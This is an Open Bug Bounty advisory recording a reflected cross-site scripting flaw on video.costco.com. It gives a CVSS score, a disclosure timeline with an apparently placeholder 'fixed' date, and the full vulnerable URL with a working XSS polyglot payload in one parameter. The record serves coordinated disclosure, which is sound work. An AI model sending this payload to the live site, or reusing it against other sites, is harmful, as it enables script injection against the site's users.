video.costco.com XSS vulnerability

2017-12-23T18:57:00
ID OBB:457954
Type openbugbounty
Reporter Spam404
Modified 2018-01-22T18:57:00

Description

Open Bug Bounty ID: OBB-457954

Description| Value
---|---
Affected Website:| video.costco.com
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
https://video.costco.com/liveclicker/fb/?widgetid=1858341765&aid;=69&playlist;=1858341765&overlay;_type=3&component;_id=13740&width;=320&height;=240&LC;&ref;=%3C!%27/*%22/*\%27/*\%22/*--%3E%3C/Script%3E%3CImage%20SrcSet=K%20*/;%20OnError=confirm`OPENBUGBOUNTY`%20//%3E
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 23 December, 2017 18:57 GMT
Vulnerability Verified:| 25 December, 2017 06:09 GMT
Website Operator Notified:| 25 December, 2017 06:09 GMT
Vulnerability Published:| 25 December, 2017 06:09 GMT[without any technical details]
Vulnerability Fixed:| 30 November, -0001 00:00 GMT
Public Disclosure:| 22 January, 2018 18:57 GMT